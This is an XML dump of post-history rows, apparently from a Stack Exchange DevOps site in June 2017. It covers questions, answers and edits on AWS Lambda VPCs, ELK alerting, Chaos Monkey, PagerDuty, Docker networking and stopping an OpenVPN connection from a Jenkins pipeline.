  <row Id="4540" PostHistoryTypeId="3" PostId="1391" RevisionGUID="953b158a-5baa-459f-a36c-af4575c90b57" CreationDate="2017-06-22T07:42:46.350" UserId="210" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4541" PostHistoryTypeId="2" PostId="1392" RevisionGUID="84dc5848-b063-4e58-878a-a27364d9b5a2" CreationDate="2017-06-22T07:52:53.973" UserId="46" Text="The VPC configurations option in Lambda tells this:&#xD;&#xA;&#xD;&#xA;&gt; All AWS Lambda functions run securely inside a default system-managed&#xD;&#xA;&gt; VPC. However, you can optionally configure Lambda to access resources,&#xD;&#xA;&gt; such as databases, within your custom VPC.&#xD;&#xA;&#xD;&#xA;**So, can't I launch the Lambda function in my own VPC?**" ContentLicense="CC BY-SA 3.0" />
  <row Id="4542" PostHistoryTypeId="1" PostId="1392" RevisionGUID="84dc5848-b063-4e58-878a-a27364d9b5a2" CreationDate="2017-06-22T07:52:53.973" UserId="46" Text="How do I launch Lambda in my own VPC?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4543" PostHistoryTypeId="3" PostId="1392" RevisionGUID="84dc5848-b063-4e58-878a-a27364d9b5a2" CreationDate="2017-06-22T07:52:53.973" UserId="46" Text="&lt;security&gt;&lt;aws-lambda&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4544" PostHistoryTypeId="5" PostId="1188" RevisionGUID="2f353308-53a1-4cbf-b910-8440f3acd578" CreationDate="2017-06-22T08:53:31.577" UserId="739" Comment="remove premature thanks and copy edit" Text="I'm working on my first implementation of the Elasticsearch-Logstash-Kibana stack. I have everything working, but now I need to:&#xD;&#xA;&#xD;&#xA; - Set alarms on certain thresholds/events&#xD;&#xA; - Send notifications on alarms&#xD;&#xA; - (desirable) Manage alarms from within Kibana (i.e. alert/acknowledge)&#xD;&#xA;&#xD;&#xA;I've read some partial solutions using another tools beside ELK, as Nagios, but I'm wondering what is the industry's &quot;best&quot; approach to this need." ContentLicense="CC BY-SA 3.0" />
  <row Id="4545" PostHistoryTypeId="24" PostId="1188" RevisionGUID="2f353308-53a1-4cbf-b910-8440f3acd578" CreationDate="2017-06-22T08:53:31.577" Comment="Proposed by 739 approved by 40, 46 edit id of 370" ContentLicense="CC BY-SA 3.0" />
  <row Id="4546" PostHistoryTypeId="2" PostId="1393" RevisionGUID="ec0a63dc-d68c-471e-82f0-6de8b5650a62" CreationDate="2017-06-22T09:13:03.873" UserId="13" Text="Quoting the standalone ChaodMonkey [README](https://github.com/netflix/chaosmonkey):&#xD;&#xA;&#xD;&#xA;&gt; Requirements&#xD;&#xA;&gt; ------------&#xD;&#xA;&gt; &#xD;&#xA;&gt; This version of Chaos Monkey is fully integrated with Spinnaker, the&#xD;&#xA;&gt; continuous delivery platform that we use at Netflix. You must be&#xD;&#xA;&gt; managing your apps with Spinnaker to use Chaos Monkey to terminate&#xD;&#xA;&gt; instances.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Chaos Monkey should work with any backend that Spinnaker supports&#xD;&#xA;&gt; (AWS, Google Compute Engine, Azure, Kubernetes, Cloud Foundry). It has&#xD;&#xA;&gt; been tested with AWS, GCE, and Kubernetes.&#xD;&#xA;&#xD;&#xA;As said there, you'll find supported Spinnaker platforms on https://www.spinnaker.io&#xD;&#xA;&#xD;&#xA;Your quote comes from the quickstart documentation of Symian Army, as for any quickstart it is opinionated to keep things as simple as possible, if you don't match the quickstart environment, you will have to dig deeper in the documentations to adapt to your needs." ContentLicense="CC BY-SA 3.0" />
  <row Id="4547" PostHistoryTypeId="2" PostId="1394" RevisionGUID="ffd015fa-bdcd-4c17-b7c0-a25ed02664cb" CreationDate="2017-06-22T11:30:16.317" UserId="6" Text="The `Chaos Monkey` tool, released by Netflix might be restricted to AWS at this time. But the approach is definitely not restricted and can be implemented anywhere where there are distributed systems comprised of a multitude of redundant parts, hopefully with automated healing ability." ContentLicense="CC BY-SA 3.0" />
  <row Id="4548" PostHistoryTypeId="2" PostId="1395" RevisionGUID="64b23fd5-86b8-46d3-9b66-ac7bfd1022fc" CreationDate="2017-06-22T11:32:05.403" UserId="6" Text="The API for creating a function includes a section to choose which VPC to use for running that function.&#xD;&#xA;&#xD;&#xA;source: https://docs.aws.amazon.com/lambda/latest/dg/API_CreateFunction.html#SSS-CreateFunction-request-VpcConfig&#xD;&#xA;&#xD;&#xA;It doesn't have to be the default VPC, it can be any VPC." ContentLicense="CC BY-SA 3.0" />
  <row Id="4552" PostHistoryTypeId="5" PostId="1388" RevisionGUID="cb366ce4-2aa5-4c94-aefe-8d61d2bef495" CreationDate="2017-06-22T11:53:03.240" UserId="3220" Comment="corrected spelling" Text="Currently, we use Jenkins to run small node.js scripts in order to check if applications are doing what they're supposed to. Like, we have some routines which should run in an interval and we need to check if these routines have run and have done everything we expect.&#xD;&#xA;&#xD;&#xA;Why Jenkins? Mostly because we can just login and look at the dashboard and see the health status of all our jobs at a glance; we can set up notifications; and because we don't know other tools to execute our scripts in a &quot;monitoring&quot; way.&#xD;&#xA;&#xD;&#xA;But we know we're misusing Jenkins and the problems we have faced (like an attack we suffered which used our Jenkins instance to attack a credit card company and the constant instability) are making us look for another tool (or tools).&#xD;&#xA;&#xD;&#xA;But all I could find was performance monitoring tools. What tools do you guys use to monitor things other than performance?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4557" PostHistoryTypeId="2" PostId="1398" RevisionGUID="bb24f696-789e-4589-aacf-259d1b3e3f05" CreationDate="2017-06-22T14:13:16.653" UserId="6" Text="Cloud environments in AWS allow for multi-tenancy managed by the user himself, classic example are container orchestrators such as ECS or Kubernetes.&#xD;&#xA;&#xD;&#xA;When you have two services, one needs memory another cpu and you put these in a single cluster. Then scaling-up is relatively trivial. Each time you need more capacity in terms of *either* cpu *or* memory, add more capacity. Since EC2 capacity means units in cpu and memory both.&#xD;&#xA;&#xD;&#xA;_Scaling up_ based on a single metric can very easily achieved using CloudWatch Alarms.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When _scaling down_, in order to reduce cost it requires to take into account both memory and cpu limits and not let any of the two drop below the required amount.&#xD;&#xA;&#xD;&#xA;Since unfortunately CloudWatch Alarms do not allow to use boolean logic or take into account multiple metrics.&#xD;&#xA;&#xD;&#xA;**What is a good way to implement _scale down_ of capacity for an auto scaling group?**" ContentLicense="CC BY-SA 3.0" />
  <row Id="4558" PostHistoryTypeId="1" PostId="1398" RevisionGUID="bb24f696-789e-4589-aacf-259d1b3e3f05" CreationDate="2017-06-22T14:13:16.653" UserId="6" Text="How to scale-down in a multi-tenant environment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4559" PostHistoryTypeId="3" PostId="1398" RevisionGUID="bb24f696-789e-4589-aacf-259d1b3e3f05" CreationDate="2017-06-22T14:13:16.653" UserId="6" Text="&lt;amazon-ec2&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4560" PostHistoryTypeId="5" PostId="1395" RevisionGUID="d85e9d70-c16e-4167-9827-72a0cd53d2be" CreationDate="2017-06-22T14:26:00.010" UserId="6" Comment="added 440 characters in body" Text="The API for creating a function includes a section to choose which VPC to use for running that function.&#xD;&#xA;&#xD;&#xA;source: https://docs.aws.amazon.com/lambda/latest/dg/API_CreateFunction.html#SSS-CreateFunction-request-VpcConfig&#xD;&#xA;&#xD;&#xA;It doesn't have to be the default VPC, it can be any VPC.&#xD;&#xA;&#xD;&#xA;Consider that &quot;EC2 server inside a VPC&quot; only means that it is some virtual machine that has a NIC connected to a network you have control over in your AWS account (the VPC).&#xD;&#xA;&#xD;&#xA;With Lambda, you can choose to run functions on instances that have this NIC connected to a VPC under your control, or you can forego this control and let the Lambdas run where ever they usually do (default system-managed whatever) and just not care about it." ContentLicense="CC BY-SA 3.0" />
  <row Id="4561" PostHistoryTypeId="2" PostId="1399" RevisionGUID="9b48a666-6fce-413b-95d4-410f514edb5c" CreationDate="2017-06-22T15:23:53.710" UserId="2463" Text="Terraform scans the configuration directory for all files whose name end in `.tf`, and loads them all as configuration.&#xD;&#xA;&#xD;&#xA;A common cause of this problem is if you accidentally duplicate one of the `.tf` files under a new name, and do not update its contents. In that case, Terraform will see both files define the same resource and produce the error shown here.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4562" PostHistoryTypeId="2" PostId="1400" RevisionGUID="be666d93-321b-4447-bfbb-a152f92f04e5" CreationDate="2017-06-22T16:09:49.887" UserId="3237" Text="Where do you have your infrastructure? I've found that AWS Cloudwatch is pretty good in most simple cases. Zabbix is a good open source tool too. Of course there's Solarwinds NPM but that's quite expensive." ContentLicense="CC BY-SA 3.0" />
  <row Id="4563" PostHistoryTypeId="2" PostId="1401" RevisionGUID="58d45e27-02b0-499f-954f-56094a451146" CreationDate="2017-06-22T16:13:42.567" UserId="3237" Text="So I have AWS Cloudwatch hooked up with PagerDuty. Whenever an alert goes out, it goes to PagerDuty, which then sends us a message in Slack. The problem is, this is what it shows in the chat:&#xD;&#xA;&#xD;&#xA;`*Triggered #3362:* Maximum CPUUtilization of 53.6 GreaterThanOrEqualToThreshold 50.0 for InstanceId i-xxxxxxxxx`&#xD;&#xA;&#xD;&#xA;That's about as useful as a rock. There's no way I could interpret the instance ID, nor should I have to read all that stuff at a glance and figure out what's wrong.&#xD;&#xA;&#xD;&#xA;The question is, how do I change the incident name is gets generated on PagerDuty, or this is something that can be done in Cloudwatch, or am I hosed?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="4564" PostHistoryTypeId="1" PostId="1401" RevisionGUID="58d45e27-02b0-499f-954f-56094a451146" CreationDate="2017-06-22T16:13:42.567" UserId="3237" Text="How to change PagerDuty incident name?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4565" PostHistoryTypeId="3" PostId="1401" RevisionGUID="58d45e27-02b0-499f-954f-56094a451146" CreationDate="2017-06-22T16:13:42.567" UserId="3237" Text="&lt;amazon-cloudwatch&gt;&lt;slack&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4566" PostHistoryTypeId="2" PostId="1402" RevisionGUID="7f5df97e-4361-43fe-90c9-7d2de1bebb2a" CreationDate="2017-06-22T21:53:10.507" UserId="3062" Text="I feel dev ops is involved more than just the product developed, but the process that is used to go from an idea to in the field.  Org 2, I think, could use dev ops to set up a uniform way to gather requirements, incorporate/enforce branching strategy, setup/maintain CI.  This is just the dev team.&#xD;&#xA;&#xD;&#xA;Every organization isn't just dev.  Org 2 could may very well have a sales team.  Is there anything that can be done for the sales to gather requirements in a more effective manner, or organize them.  Is there a common UI element that all the applications share that all customers complain about.&#xD;&#xA;&#xD;&#xA;These are just some of my views on Dev Ops.  I am very new to the role.  I view the role as being responsible for all the transitions in the development process as well as the development process.  Making it easy to go from idea to requirements, to user stories, to work tracking, to testing, to release, then gather feedback to use again as requirements gathering.&#xD;&#xA;&#xD;&#xA;I think sometimes you have to create the data you want to mine.  This year (2017) Microsoft's conference dedicated a whole day I believe to Dev ops.  I was unable to go but the conferences can be found on you tube.  One you may be interested in (and I have queued up to watch) is [dev ops for every team][1].  Another I just came accross in browsing [Keynote with Donovan Brown: From 0 to DevOps ][2] (I haven't watched either of those but they seem applicable)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=Uu2QdckCdtI&#xD;&#xA;  [2]: https://www.youtube.com/watch?v=6vy0XfRzZl0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4567" PostHistoryTypeId="2" PostId="1403" RevisionGUID="f1ae9894-9353-4b23-911c-b89dc233959f" CreationDate="2017-06-22T22:10:53.810" UserId="707" Text="After discovering the '[Catlle vs Pets][1]' DevOps meme which now will help me a lot with communication, I ask myself what are other known memes in the DevOps field?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4568" PostHistoryTypeId="1" PostId="1403" RevisionGUID="f1ae9894-9353-4b23-911c-b89dc233959f" CreationDate="2017-06-22T22:10:53.810" UserId="707" Text="What are known DevOps memes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4569" PostHistoryTypeId="3" PostId="1403" RevisionGUID="f1ae9894-9353-4b23-911c-b89dc233959f" CreationDate="2017-06-22T22:10:53.810" UserId="707" Text="&lt;meme&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4570" PostHistoryTypeId="5" PostId="1401" RevisionGUID="455be40f-334f-4001-8263-24c6d3bd1b32" CreationDate="2017-06-23T05:19:41.263" UserId="739" Comment="remove premature thanks and add tags" Text="So I have AWS Cloudwatch hooked up with PagerDuty. Whenever an alert goes out, it goes to PagerDuty, which then sends us a message in Slack. The problem is, this is what it shows in the chat:&#xD;&#xA;&#xD;&#xA;`*Triggered #3362:* Maximum CPUUtilization of 53.6 GreaterThanOrEqualToThreshold 50.0 for InstanceId i-xxxxxxxxx`&#xD;&#xA;&#xD;&#xA;That's about as useful as a rock. There's no way I could interpret the instance ID, nor should I have to read all that stuff at a glance and figure out what's wrong.&#xD;&#xA;&#xD;&#xA;The question is, how do I change the incident name is gets generated on PagerDuty, or this is something that can be done in Cloudwatch, or am I hosed?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4571" PostHistoryTypeId="6" PostId="1401" RevisionGUID="455be40f-334f-4001-8263-24c6d3bd1b32" CreationDate="2017-06-23T05:19:41.263" UserId="739" Comment="remove premature thanks and add tags" Text="&lt;monitoring&gt;&lt;amazon-cloudwatch&gt;&lt;slack&gt;&lt;pagerduty&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4572" PostHistoryTypeId="24" PostId="1401" RevisionGUID="455be40f-334f-4001-8263-24c6d3bd1b32" CreationDate="2017-06-23T05:19:41.263" Comment="Proposed by 739 approved by -1 edit id of 371" ContentLicense="CC BY-SA 3.0" />
  <row Id="4573" PostHistoryTypeId="5" PostId="1401" RevisionGUID="1a54f8cd-e62b-488e-b8de-fd86456be54d" CreationDate="2017-06-23T05:19:41.263" UserId="40" Comment="deleted 1 character in body" Text="I have AWS Cloudwatch hooked up with PagerDuty. Whenever an alert goes out, it goes to PagerDuty, which then sends us a message in Slack. The problem is, this is what it shows in the chat:&#xD;&#xA;&#xD;&#xA;&gt; *Triggered #3362:* Maximum CPUUtilization of 53.6 GreaterThanOrEqualToThreshold 50.0 for InstanceId i-xxxxxxxxx&#xD;&#xA;&#xD;&#xA;That's about as useful as a rock. There's no way I could interpret the instance ID, nor should I have to read all that stuff at a glance and figure out what's wrong.&#xD;&#xA;&#xD;&#xA;The question is, how do I change the incident name that gets generated on PagerDuty, or is this something that can be done in Cloudwatch, or am I hosed?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4574" PostHistoryTypeId="2" PostId="1404" RevisionGUID="0939dc07-e21d-4924-aef8-283d1c7931c1" CreationDate="2017-06-23T06:23:04.843" UserId="3243" Text="I could maybe suggest looking into Prometheus:&#xD;&#xA;&#xD;&#xA;https://prometheus.io/docs/instrumenting/clientlibs/&#xD;&#xA;&#xD;&#xA;You can pull metrics from your app and put alerting on it, add grafana dashboards, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="4575" PostHistoryTypeId="5" PostId="1403" RevisionGUID="7fc370bd-79e2-47bb-9a17-6de9b2293263" CreationDate="2017-06-23T07:35:14.987" UserId="707" Comment="added 53 characters in body" Text="After discovering the [Catlle vs Pets][1] and [12factor apps][2] DevOps memes which now will help me a lot with communication, I ask myself what are other known memes in the DevOps field?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/&#xD;&#xA;  [2]: https://12factor.net/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4576" PostHistoryTypeId="2" PostId="1405" RevisionGUID="d44f8b0f-765d-4b83-ac2f-bf4eedd5dc78" CreationDate="2017-06-23T08:02:31.463" UserId="707" Text="Currently I find myself managing a set of embarassingly similar YAMLs for environment profiles. I see there a scaling trouble if there will be *lots* of dynamic environments (i.e. fluid acceptance test configurations, with disposable environments you can do that!)&#xD;&#xA;&#xD;&#xA;Has anybody done a working implementation to build YAMLs dynamically on scale based on some generic represenation ( kind of CasC level 2 beyond some naive scripting), or if this makes no sense, why and which way is to prefer then." ContentLicense="CC BY-SA 3.0" />
  <row Id="4577" PostHistoryTypeId="1" PostId="1405" RevisionGUID="d44f8b0f-765d-4b83-ac2f-bf4eedd5dc78" CreationDate="2017-06-23T08:02:31.463" UserId="707" Text="Dynamic YAMLs for Docker Compose" ContentLicense="CC BY-SA 3.0" />
  <row Id="4578" PostHistoryTypeId="3" PostId="1405" RevisionGUID="d44f8b0f-765d-4b83-ac2f-bf4eedd5dc78" CreationDate="2017-06-23T08:02:31.463" UserId="707" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4579" PostHistoryTypeId="2" PostId="1406" RevisionGUID="0dc1306a-ffec-4196-9ca2-0863a7b79349" CreationDate="2017-06-23T08:15:43.870" UserId="3245" Text="I've just discovered this site and I would like to ask my first question.&#xD;&#xA;&#xD;&#xA;I have a pipeline project on Jenkins that basically do this:&#xD;&#xA;&#xD;&#xA; - SVN update&#xD;&#xA; - Build&#xD;&#xA; - Deploy&#xD;&#xA;&#xD;&#xA;As the deploy target machine is on a different network, I need to start an OpenVPN connection. This works fine using `bat 'start openvpn config.ovpn'`.&#xD;&#xA;&#xD;&#xA;The problem is that I need to drop the VPN connection once the process has finished and there is no stop command for OpenVPN.&#xD;&#xA;&#xD;&#xA;My first approach was to save the process ID that started OpenVPN and kill it later. Something like this:&#xD;&#xA;&#xD;&#xA;    stage('Connect VPN') {&#xD;&#xA;            bat '''wmic process get parentprocessid,name | grep WMIC | tr -d \'WMIC.exe \' &gt; wmic_pid&#xD;&#xA;                start openvpn myconfig.ovpn'''&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    stage('Deploy') {&#xD;&#xA;        // Deployment process&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stage('Disconnect VPN') {&#xD;&#xA;        env.WMID_PID=readFile('wmic_pid').trim()&#xD;&#xA;        bat 'taskkill -pid %WMID_PID% -t'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;However, for some reason the process ID saved using wmic does not match with the one used by OpenVPN. This procedure works fine when its executed manually on a cmd.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;PS: I'm on a Windows Server 2012." ContentLicense="CC BY-SA 3.0" />
  <row Id="4580" PostHistoryTypeId="1" PostId="1406" RevisionGUID="0dc1306a-ffec-4196-9ca2-0863a7b79349" CreationDate="2017-06-23T08:15:43.870" UserId="3245" Text="How to stop VPN connection started from Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4581" PostHistoryTypeId="3" PostId="1406" RevisionGUID="0dc1306a-ffec-4196-9ca2-0863a7b79349" CreationDate="2017-06-23T08:15:43.870" UserId="3245" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4582" PostHistoryTypeId="2" PostId="1407" RevisionGUID="815a4f0a-11e9-4843-8486-ffb14e6f2a4c" CreationDate="2017-06-23T09:14:16.360" UserId="707" Text="By the following scientific research paper to explore exactly this question,&quot;What is DevOps&quot;, the proposed derived definition of DevOps is:&#xD;&#xA;&#xD;&#xA;&gt; DevOps is a development methodology aimed at bridging the gap between Development (Dev) and Operations (Ops), emphasizing communication and collaboration, continuous integration, quality assurance and delivery with automated deployment utilizing a set of development practices.&#xD;&#xA;&#xD;&#xA;[Jabbari et al.] &quot;What is DevOps?: A Systematic Mapping Study on Definitions and Practices&quot; (2016): " ContentLicense="CC BY-SA 3.0" />
  <row Id="4583" PostHistoryTypeId="2" PostId="1408" RevisionGUID="044a28c5-399c-4096-9c36-ee9003a19d5b" CreationDate="2017-06-23T09:18:31.157" UserId="3248" Text="How does AWS calculate the cost of a custom AMI?&#xD;&#xA;&#xD;&#xA;If I would create an AMI which is based on Ubuntu 16.04, do I need to pay for the complete size of AMI (e.g. 4GB) or just the differences of my custom AMI to the base AMI (e.g. 0.4GB)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4584" PostHistoryTypeId="1" PostId="1408" RevisionGUID="044a28c5-399c-4096-9c36-ee9003a19d5b" CreationDate="2017-06-23T09:18:31.157" UserId="3248" Text="AWS Storage Cost for a custom AMI" ContentLicense="CC BY-SA 3.0" />
  <row Id="4585" PostHistoryTypeId="3" PostId="1408" RevisionGUID="044a28c5-399c-4096-9c36-ee9003a19d5b" CreationDate="2017-06-23T09:18:31.157" UserId="3248" Text="&lt;amazon-ec2&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4586" PostHistoryTypeId="2" PostId="1409" RevisionGUID="d3c7264e-233e-4ea9-be12-657205277a82" CreationDate="2017-06-23T10:24:55.543" UserId="6" Text="* &quot;**Wall of Confusion**&quot; from https://www.slideshare.net/littleidea/agile-infrastructure-velocity-09&#xD;&#xA;* **C.A.M.S.** from https://blog.chef.io/2010/07/16/what-devops-means-to-me/&#xD;&#xA;* &quot;**10+ deploys per day**&quot; from https://www.slideshare.net/jallspaw/10-deploys-per-day-dev-and-ops-cooperation-at-flickr/ and https://youtu.be/LdOe18KhtT4&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4587" PostHistoryTypeId="6" PostId="1403" RevisionGUID="c1705b20-eef6-44e5-a9f2-8a91488f39fc" CreationDate="2017-06-23T10:27:00.600" UserId="707" Comment="edited tags" Text="&lt;culture&gt;&lt;meme&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4588" PostHistoryTypeId="2" PostId="1410" RevisionGUID="7fd63fd7-3ba3-487c-8ec2-f87da4f6db32" CreationDate="2017-06-23T10:33:25.800" UserId="3249" Text="I am trying to run a Docker container as a router between a private (`--internal`) Docker network and the predefined `host` network. This means the container needs to have two network interfaces: One &quot;outside&quot; interface, that can access all host IP addresses, and one &quot;inside&quot; interface, that acts as a gateway for the containers in the internal Docker network&#xD;&#xA;&#xD;&#xA;The router container itself will then NAT network traffic from/to containers.&#xD;&#xA;&#xD;&#xA;I have not found a way to configure Docker to run the container with those two interfaces. The closest I could get is having two `bridge` interfaces assigned, which is not exactly what I need.&#xD;&#xA;&#xD;&#xA;Trying to connect manually results in an error:&#xD;&#xA;&#xD;&#xA;    # docker network connect host root_router_1&#xD;&#xA;    Error response from daemon: Container cannot be disconnected from host network or connected to host network&#xD;&#xA;&#xD;&#xA;Can anybody show me how to achieve this, preferably even whith Docker Compose?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4589" PostHistoryTypeId="1" PostId="1410" RevisionGUID="7fd63fd7-3ba3-487c-8ec2-f87da4f6db32" CreationDate="2017-06-23T10:33:25.800" UserId="3249" Text="Connect Docker container to both host and internal bridge network" ContentLicense="CC BY-SA 3.0" />
  <row Id="4590" PostHistoryTypeId="3" PostId="1410" RevisionGUID="7fd63fd7-3ba3-487c-8ec2-f87da4f6db32" CreationDate="2017-06-23T10:33:25.800" UserId="3249" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4591" PostHistoryTypeId="5" PostId="1367" RevisionGUID="64d060c1-824a-4ef8-b0eb-57b503482cdc" CreationDate="2017-06-23T10:34:20.420" UserId="6" Comment="edited body" Text="There is definite value in automating manual tasks and placing systems under configuration management that is done using code, not using paper and human intervention.&#xD;&#xA;&#xD;&#xA;One huge benefit is the reduction in the amount of rework. You can consider any problem caused by a human mistake in repeating the same sequence a case of rework. As well as any bug that needs to be fixed more than once.&#xD;&#xA;&#xD;&#xA;Rework is costly, and there has been some research done to quantify its cost. You can read about it in this whitepaper - https://devops-research.com/roi/&#xD;&#xA;&#xD;&#xA;The same whitepaper also quantifies the cost of failure for services/systems, and the slowness to resolve failure. All of which are greatly reduced by having a robust automated process that prevents human mistakes from ending up in production systems.&#xD;&#xA;&#xD;&#xA;The topic of automating manual tasks has been also investigated in the _State of DevOps Report_ that has been issued every year since 2013. Most of these are available at https://devops-research.com/research.html as well (with the exception of 2013). In every report it was mentioned as the biggest driver for excellence in high-performing organizations of all sizes. There are plenty of reasons and explanations that can be used as proof for your case." ContentLicense="CC BY-SA 3.0" />
  <row Id="4592" PostHistoryTypeId="5" PostId="1407" RevisionGUID="897df5df-6e58-4868-bb84-83257f4646f5" CreationDate="2017-06-23T10:55:06.617" UserId="707" Comment="deleted 1 character in body" Text="By the following scientific research paper to explore exactly this question,&quot;What is DevOps&quot;, the proposed derived definition of DevOps is:&#xD;&#xA;&#xD;&#xA;&gt; DevOps is a development methodology aimed at bridging the gap between Development (Dev) and Operations (Ops), emphasizing communication and collaboration, continuous integration, quality assurance and delivery with automated deployment utilizing a set of development practices.&#xD;&#xA;&#xD;&#xA;[Jabbari et al.] &quot;What is DevOps?: A Systematic Mapping Study on Definitions and Practices&quot; (2016) " ContentLicense="CC BY-SA 3.0" />
  <row Id="4593" PostHistoryTypeId="5" PostId="1409" RevisionGUID="b4aaf2a0-d7f5-498b-bd60-1a959054910a" CreationDate="2017-06-23T10:56:12.903" UserId="6" Comment="add the flip side of memes - the really bad ones" Text="Useful memes:&#xD;&#xA;&#xD;&#xA;* &quot;**Wall of Confusion**&quot; from https://www.slideshare.net/littleidea/agile-infrastructure-velocity-09&#xD;&#xA;* **C.A.M.S.** from https://blog.chef.io/2010/07/16/what-devops-means-to-me/&#xD;&#xA;* &quot;**10+ deploys per day**&quot; from https://www.slideshare.net/jallspaw/10-deploys-per-day-dev-and-ops-cooperation-at-flickr/ and https://youtu.be/LdOe18KhtT4&#xD;&#xA;&#xD;&#xA;There are some horrible memes pushed by vendors worth mentioning.&#xD;&#xA;&#xD;&#xA;_WARNING_: **Bad** memes to use for explaining DevOps (traps for young players) -&#xD;&#xA;&#xD;&#xA;* &quot;BI-Modal IT&quot; by Gartner&#xD;&#xA;* &quot;Multi-Speed IT&quot; by Accenture https://www.accenture.com/us-en/insight-calibrating-multi-speed-it&#xD;&#xA;* &quot;The Three Ways&quot; by Gene Kim https://itrevolution.com/the-three-ways-principles-underpinning-devops/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4594" PostHistoryTypeId="5" PostId="1403" RevisionGUID="88142c12-35d8-426a-89cf-70d3d14fe754" CreationDate="2017-06-23T11:12:05.770" UserId="707" Comment="added 2 characters in body" Text="After discovering the [Catlle vs Pets][1] and [12factor apps][2] DevOps memes which now will help me a lot with communication, I ask myself what are other known memes in the DevOps culture?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/&#xD;&#xA;  [2]: https://12factor.net/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4595" PostHistoryTypeId="4" PostId="1403" RevisionGUID="88142c12-35d8-426a-89cf-70d3d14fe754" CreationDate="2017-06-23T11:12:05.770" UserId="707" Comment="added 2 characters in body" Text="What are known memes in the DevOps culture?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4596" PostHistoryTypeId="5" PostId="1403" RevisionGUID="9e5dc535-2e73-4685-8644-398c08fff0bc" CreationDate="2017-06-23T11:17:45.940" UserId="707" Comment="added 2 characters in body" Text="After discovering the [Catlle vs Pets][1] and [12factor apps][2] DevOps memes which now will help me a lot with communication, I ask myself what are other known memes in the DevOps culture?&#xD;&#xA;&#xD;&#xA;Side note: best is to establish fact why a meme is a meme e.g. more than 10K Google query results?&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/&#xD;&#xA;  [2]: https://12factor.net/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4597" PostHistoryTypeId="2" PostId="1411" RevisionGUID="a81f44b6-d63e-422c-ac19-d65e5f6f5693" CreationDate="2017-06-23T11:37:35.123" UserId="6" Text="Accenture are talking a lot about their &quot;Multi-speed IT&quot; approach.&#xD;&#xA;&#xD;&#xA;It appears in their strategy consulting here:&#xD;&#xA;&#xD;&#xA;* https://www.accenture.com/us-en/insight-calibrating-multi-speed-it&#xD;&#xA;&#xD;&#xA;and on blog posts in their DevOps blog:&#xD;&#xA;&#xD;&#xA;* https://www.accenture.com/us-en/blogs/blogs-support-multispeed-it-with-devops-agile&#xD;&#xA;* https://www.accenture.com/us-en/blogs/blogs-emily-arnautovic-devops-change&#xD;&#xA;&#xD;&#xA;As well as in many other places that deal with various aspects of a technology organisation.&#xD;&#xA;&#xD;&#xA;Does this idea of &quot;Multi-speed IT&quot; has merit and can be used for continuous improvement in-line with DevOps? Or does it go against some of the common DevOps practices?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4598" PostHistoryTypeId="1" PostId="1411" RevisionGUID="a81f44b6-d63e-422c-ac19-d65e5f6f5693" CreationDate="2017-06-23T11:37:35.123" UserId="6" Text="What is good and/or bad about Accenture's Multi-speed IT approach to DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4599" PostHistoryTypeId="3" PostId="1411" RevisionGUID="a81f44b6-d63e-422c-ac19-d65e5f6f5693" CreationDate="2017-06-23T11:37:35.123" UserId="6" Text="&lt;culture&gt;&lt;meme&gt;" ContentLicense="CC BY-SA 3.0" />
